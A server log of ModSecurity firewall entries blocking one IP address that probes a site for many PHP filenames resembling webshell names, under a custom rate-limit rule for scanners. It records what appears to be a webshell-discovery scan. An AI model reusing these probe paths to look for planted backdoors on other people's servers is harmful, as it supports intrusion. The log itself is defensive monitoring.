[Wed Mar 25 15:35:34.376831 2026] [:error] [pid 25875:tid 25901] [client 158.158.96.10:5992] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acOQRhJ38QkS3NyfshywhwAAApQ"]
[Wed Mar 25 15:35:35.016706 2026] [:error] [pid 25969:tid 26043] [client 158.158.96.10:41190] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aapig.php"] [unique_id "acOQRxd3aEUmOfdKja_vcgAAA9E"]
[Wed Mar 25 15:35:35.631192 2026] [:error] [pid 25969:tid 26050] [client 158.158.96.10:57085] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aapig.php"] [unique_id "acOQRxd3aEUmOfdKja_vcwAAA9g"]
[Wed Mar 25 15:35:36.389483 2026] [:error] [pid 756:tid 871] [client 158.158.96.10:41174] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aapig.php"] [unique_id "acOQSDOaW6oylMIDBCQPYAAAAJM"]
[Wed Mar 25 15:35:36.899937 2026] [:error] [pid 25969:tid 26047] [client 158.158.96.10:40552] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aapig.php"] [unique_id "acOQSBd3aEUmOfdKja_vdQAAA9U"]
[Wed Mar 25 15:35:37.633548 2026] [:error] [pid 47989:tid 48006] [client 158.158.96.10:57028] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "acOQSSWKdJMhIccROjlXgQAAAU8"]
[Wed Mar 25 15:35:38.659200 2026] [:error] [pid 26449:tid 26474] [client 158.158.96.10:57059] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "acOQStpZ2T15NDqzAjFUugAAAlU"]
[Wed Mar 25 15:35:39.591737 2026] [:error] [pid 47989:tid 48004] [client 158.158.96.10:5994] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "acOQSyWKdJMhIccROjlXgwAAAU0"]
[Wed Mar 25 15:35:40.643813 2026] [:error] [pid 25967:tid 25982] [client 158.158.96.10:63203] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "acOQTPg8Qtq7ZM4mSFn2UwAAA0o"]
[Wed Mar 25 15:35:41.569170 2026] [:error] [pid 25967:tid 25987] [client 158.158.96.10:63832] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "acOQTfg8Qtq7ZM4mSFn2VAAAA08"]
[Wed Mar 25 15:35:42.579786 2026] [:error] [pid 47946:tid 47970] [client 158.158.96.10:62500] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "acOQTjipQTqBMSeKYhdzOAAAARY"]
[Wed Mar 25 15:35:43.647569 2026] [:error] [pid 25875:tid 25904] [client 158.158.96.10:41176] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "acOQTxJ38QkS3NyfshywjwAAApc"]
[Wed Mar 25 15:35:44.235775 2026] [:error] [pid 25969:tid 26049] [client 158.158.96.10:62515] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "acOQUBd3aEUmOfdKja_vegAAA9c"]
[Wed Mar 25 15:35:44.829315 2026] [:error] [pid 25967:tid 25977] [client 158.158.96.10:60474] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acOQUPg8Qtq7ZM4mSFn2VgAAA0U"]
[Wed Mar 25 15:35:45.375782 2026] [:error] [pid 47989:tid 47998] [client 158.158.96.10:64269] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acOQUSWKdJMhIccROjlXiQAAAUc"]
[Wed Mar 25 15:35:45.945273 2026] [:error] [pid 25967:tid 25985] [client 158.158.96.10:50691] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acOQUfg8Qtq7ZM4mSFn2VwAAA00"]
[Wed Mar 25 15:35:46.513725 2026] [:error] [pid 26449:tid 26472] [client 158.158.96.10:57026] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acOQUtpZ2T15NDqzAjFUvAAAAlM"]
[Wed Mar 25 15:35:47.082835 2026] [:error] [pid 25875:tid 25902] [client 158.158.96.10:59886] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "acOQUxJ38QkS3NyfshywlQAAApU"]
[Wed Mar 25 15:35:47.676843 2026] [:error] [pid 47989:tid 47994] [client 158.158.96.10:60457] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "acOQUyWKdJMhIccROjlXkQAAAUM"]
[Wed Mar 25 15:35:48.185461 2026] [:error] [pid 47989:tid 48008] [client 158.158.96.10:60432] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "acOQVCWKdJMhIccROjlXkgAAAVE"]
[Wed Mar 25 15:35:48.736539 2026] [:error] [pid 47989:tid 47998] [client 158.158.96.10:63176] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "acOQVCWKdJMhIccROjlXlwAAAUc"]
[Wed Mar 25 15:35:49.425949 2026] [:error] [pid 47989:tid 48006] [client 158.158.96.10:6015] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "acOQVSWKdJMhIccROjlXnAAAAU8"]
[Wed Mar 25 15:35:50.329001 2026] [:error] [pid 47989:tid 48010] [client 158.158.96.10:60476] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "acOQViWKdJMhIccROjlXoQAAAVM"]
[Wed Mar 25 15:35:50.961823 2026] [:error] [pid 47989:tid 48000] [client 158.158.96.10:63846] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "acOQViWKdJMhIccROjlXpQAAAUk"]
[Wed Mar 25 15:35:51.510543 2026] [:error] [pid 26449:tid 26463] [client 158.158.96.10:5836] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "acOQV9pZ2T15NDqzAjFUvQAAAko"]
[Wed Mar 25 15:35:52.435219 2026] [:error] [pid 26449:tid 26471] [client 158.158.96.10:41602] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "acOQWNpZ2T15NDqzAjFUvgAAAlI"]
[Wed Mar 25 15:35:53.045061 2026] [:error] [pid 756:tid 858] [client 158.158.96.10:59858] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "acOQWTOaW6oylMIDBCQPZQAAAIY"]
[Wed Mar 25 15:35:55.650733 2026] [:error] [pid 47989:tid 47991] [client 158.158.96.10:63868] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "acOQWyWKdJMhIccROjlXrAAAAUA"]
[Wed Mar 25 15:35:56.346758 2026] [:error] [pid 26449:tid 26473] [client 158.158.96.10:5853] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "acOQXNpZ2T15NDqzAjFUvwAAAlQ"]
[Wed Mar 25 15:35:57.576334 2026] [:error] [pid 26321:tid 26346] [client 158.158.96.10:5843] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acOQXfKO65qqGZCSPZoQbgAAAgY"]
[Wed Mar 25 15:35:58.470878 2026] [:error] [pid 25875:tid 25902] [client 158.158.96.10:57052] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acOQXhJ38QkS3NyfshywoQAAApU"]
[Wed Mar 25 15:35:59.479336 2026] [:error] [pid 892:tid 923] [client 158.158.96.10:45944] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acOQXyT_G8WMU3T3yxqzJAAAANg"]
[Wed Mar 25 15:36:00.254687 2026] [:error] [pid 892:tid 911] [client 158.158.96.10:63200] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acOQYCT_G8WMU3T3yxqzKAAAAM0"]
[Wed Mar 25 15:36:00.758534 2026] [:error] [pid 26449:tid 26477] [client 158.158.96.10:41661] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acOQYNpZ2T15NDqzAjFUwwAAAlg"]
[Wed Mar 25 15:36:01.427978 2026] [:error] [pid 26449:tid 26476] [client 158.158.96.10:60478] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acOQYdpZ2T15NDqzAjFUxAAAAlc"]
[Wed Mar 25 15:36:02.078004 2026] [:error] [pid 25967:tid 25994] [client 158.158.96.10:63228] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acOQYvg8Qtq7ZM4mSFn2YAAAA1Y"]
[Wed Mar 25 15:36:02.740204 2026] [:error] [pid 25967:tid 25976] [client 158.158.96.10:59894] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acOQYvg8Qtq7ZM4mSFn2YQAAA0Q"]
[Wed Mar 25 15:36:03.516422 2026] [:error] [pid 25969:tid 26034] [client 158.158.96.10:57066] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "acOQYxd3aEUmOfdKja_vfQAAA8g"]
[Wed Mar 25 15:36:04.052167 2026] [:error] [pid 26321:tid 26342] [client 158.158.96.10:50726] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "acOQZPKO65qqGZCSPZoQcwAAAgM"]
[Wed Mar 25 15:36:04.554379 2026] [:error] [pid 756:tid 850] [client 158.158.96.10:5852] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "acOQZDOaW6oylMIDBCQPaQAAAIA"]
[Wed Mar 25 15:36:05.188332 2026] [:error] [pid 25875:tid 25893] [client 158.158.96.10:57024] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "acOQZRJ38QkS3NyfshywqwAAAow"]
[Wed Mar 25 15:36:06.189244 2026] [:error] [pid 25967:tid 25994] [client 158.158.96.10:63864] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "acOQZvg8Qtq7ZM4mSFn2agAAA1Y"]
[Wed Mar 25 15:36:06.732012 2026] [:error] [pid 26449:tid 26461] [client 158.158.96.10:62468] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "acOQZtpZ2T15NDqzAjFUyQAAAkg"]
[Wed Mar 25 15:36:07.225191 2026] [:error] [pid 25967:tid 25987] [client 158.158.96.10:62497] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "acOQZ_g8Qtq7ZM4mSFn2bgAAA08"]
[Wed Mar 25 15:36:08.050623 2026] [:error] [pid 26321:tid 26356] [client 158.158.96.10:63857] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "acOQaPKO65qqGZCSPZoQeQAAAg8"]
[Wed Mar 25 15:36:08.724372 2026] [:error] [pid 756:tid 876] [client 158.158.96.10:63191] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "acOQaDOaW6oylMIDBCQPbgAAAJg"]
[Wed Mar 25 15:36:09.332457 2026] [:error] [pid 26321:tid 26355] [client 158.158.96.10:47366] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "acOQafKO65qqGZCSPZoQfQAAAg4"]
[Wed Mar 25 15:36:09.973589 2026] [:error] [pid 25967:tid 25996] [client 158.158.96.10:63291] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "acOQafg8Qtq7ZM4mSFn2dQAAA1g"]
[Wed Mar 25 15:36:10.922519 2026] [:error] [pid 25967:tid 25973] [client 158.158.96.10:41622] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "acOQavg8Qtq7ZM4mSFn2fQAAA0E"]
[Wed Mar 25 15:36:11.623415 2026] [:error] [pid 892:tid 901] [client 158.158.96.10:40570] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acOQayT_G8WMU3T3yxqzLAAAAMQ"]
[Wed Mar 25 15:36:12.517180 2026] [:error] [pid 25875:tid 25894] [client 158.158.96.10:41647] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acOQbBJ38QkS3NyfshywtwAAAo0"]
[Wed Mar 25 15:36:13.192966 2026] [:error] [pid 26269:tid 26281] [client 158.158.96.10:59896] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acOQbUn7e-ZQbaIs7qyk3QAAAYU"]
[Wed Mar 25 15:36:13.780191 2026] [:error] [pid 25967:tid 25982] [client 158.158.96.10:47397] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acOQbfg8Qtq7ZM4mSFn2ggAAA0o"]
[Wed Mar 25 15:36:14.441470 2026] [:error] [pid 892:tid 922] [client 158.158.96.10:50738] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "acOQbiT_G8WMU3T3yxqzLQAAANc"]
[Wed Mar 25 15:36:15.096462 2026] [:error] [pid 756:tid 870] [client 158.158.96.10:5987] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "acOQbzOaW6oylMIDBCQPcwAAAJI"]
[Wed Mar 25 15:36:24.869924 2026] [:error] [pid 47989:tid 48003] [client 158.158.96.10:59899] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acOQeCWKdJMhIccROjlX6wAAAUw"]
